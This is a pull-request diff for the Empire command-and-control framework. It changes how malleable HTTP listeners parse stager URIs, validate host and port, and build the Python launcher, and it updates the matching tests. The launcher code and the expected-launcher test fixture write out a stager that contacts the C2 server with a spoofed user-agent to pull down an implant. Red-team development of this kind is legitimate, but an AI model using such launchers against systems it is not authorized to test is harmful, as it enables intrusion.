Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 1 addition & 2 deletions empire/server/common/malleable/implementation.py
Original file line number Diff line number Diff line change
Expand Up @@ -396,8 +396,7 @@ def _defaults(self):
self.server.output = Container()
self.client.verb = "GET"

# Having a missing http-stager and '/' in http-get or http-post throws an error
# Use a fixed default uri to avoid collision while remaining consistent across restarts
def add_default_uri(self):
if not self.client.uris:
self.client.uris = ["/init/"]

Expand Down
5 changes: 4 additions & 1 deletion empire/server/common/malleable/profile.py
Original file line number Diff line number Diff line change
Expand Up @@ -128,6 +128,7 @@ def _parse(self, data):
data: pyparsing data
"""
if data:
http_stager_found = False
for group in [d for d in data if d]:
for i in range(0, len(group), 2):
item = group[i]
Expand All @@ -143,7 +144,9 @@ def _parse(self, data):
self.post._parse(arg)
elif item.lower() == "http-stager":
self.stager._parse(arg)

http_stager_found = True
if not http_stager_found:
self.stager.add_default_uri()
@property
def useragent(self):
"""Get the profile useragent.
Expand Down
19 changes: 9 additions & 10 deletions empire/server/core/listener_service.py
Original file line number Diff line number Diff line change
Expand Up @@ -224,19 +224,18 @@ def validate_listener_address(listener_options):
protocol = "https"
else:
protocol = "http"
if port:
return None, "Port cannot be provided in a host name"
host_address = f"{protocol}://{host}"
if not port:
port = listener_options["Port"]["Value"]

if (port == "443" and protocol == "https") or (
port == "80" and protocol == "http"
):
host_address = f"{protocol}://{host}/"
else:
host_address = f"{protocol}://{host}:{port}/"
except AttributeError:
return None, "Hostname error in parsing"

port = listener_options["Port"]["Value"]
if (protocol == "https" and port == "443") or (
protocol == "http" and port == "80"
):
host_address += "/"
return host_address, None
host_address += f":{port}/"
return host_address, None

def _validate_listener_options(
Expand Down
12 changes: 9 additions & 3 deletions empire/server/listeners/http_malleable.py
Original file line number Diff line number Diff line change
Expand Up @@ -273,6 +273,12 @@ def validate_options(self) -> tuple[bool, str | None]:

return True, None

def get_malleable_port(self, listenerOptions):
try:
return listenerOptions["Host"]["Value"].split(":")[2]
except IndexError:
return listenerOptions["Port"]["Value"]

def generate_launcher(
self,
encode=True,
Expand Down Expand Up @@ -300,7 +306,7 @@ def generate_launcher(
# extract the set options for this instantiated listener
listenerOptions = active_listener.options

port = listenerOptions["Port"]["Value"]
port = self.get_malleable_port(listenerOptions)
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
Expand Down Expand Up @@ -532,7 +538,7 @@ def generate_launcher(

# ==== BUILD REQUEST ====
launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n"
launcherBase += f"req=vreq('{profile.stager.client.url}', {profile.stager.client.body})\n"
launcherBase += f"req=vreq(server+'{profile.stager.client.path + profile.stager.client.query}', {profile.stager.client.body})\n"
launcherBase += "req.verb='" + profile.stager.client.verb + "'\n"

# ==== ADD HEADERS ====
Expand Down Expand Up @@ -602,8 +608,8 @@ def generate_stager(
return None

# extract the set options for this instantiated listener
port = listenerOptions["Port"]["Value"]
host = listenerOptions["Host"]["Value"]
port = self.get_malleable_port(listenerOptions)
stagingKey = listenerOptions["StagingKey"]["Value"]
workingHours = listenerOptions["WorkingHours"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
Expand Down
8 changes: 6 additions & 2 deletions empire/test/test_listener_api.py
Original file line number Diff line number Diff line change
Expand Up @@ -173,8 +173,12 @@ def test_create_listener_normalization_preserves_user_defined_ports(
response = client.post(
"/api/v2/listeners/", headers=admin_auth_header, json=base_listener
)
assert response.status_code == status.HTTP_400_BAD_REQUEST
assert response.json()["detail"] == "Port cannot be provided in a host name"
assert response.status_code == status.HTTP_201_CREATED
assert response.json()["host_address"] == "http://localhost:443/"

client.delete(
f"/api/v2/listeners/{response.json()['id']}", headers=admin_auth_header
)


def test_create_listener_normalization_sets_host_port_as_bind_port(
Expand Down
2 changes: 1 addition & 1 deletion empire/test/test_listener_generate_launcher.py
Original file line number Diff line number Diff line change
Expand Up @@ -335,7 +335,7 @@ def _expected_http_malleable_python_launcher():
o = urllib.request.build_opener(proxy)
urllib.request.install_opener(o)
vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})
req=vreq('http://localhost:80/init/', )
req=vreq(server+'/init/', )
req.verb='GET'
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','session=cm91dGluZyBwYWNrZXQ%3D')
Expand Down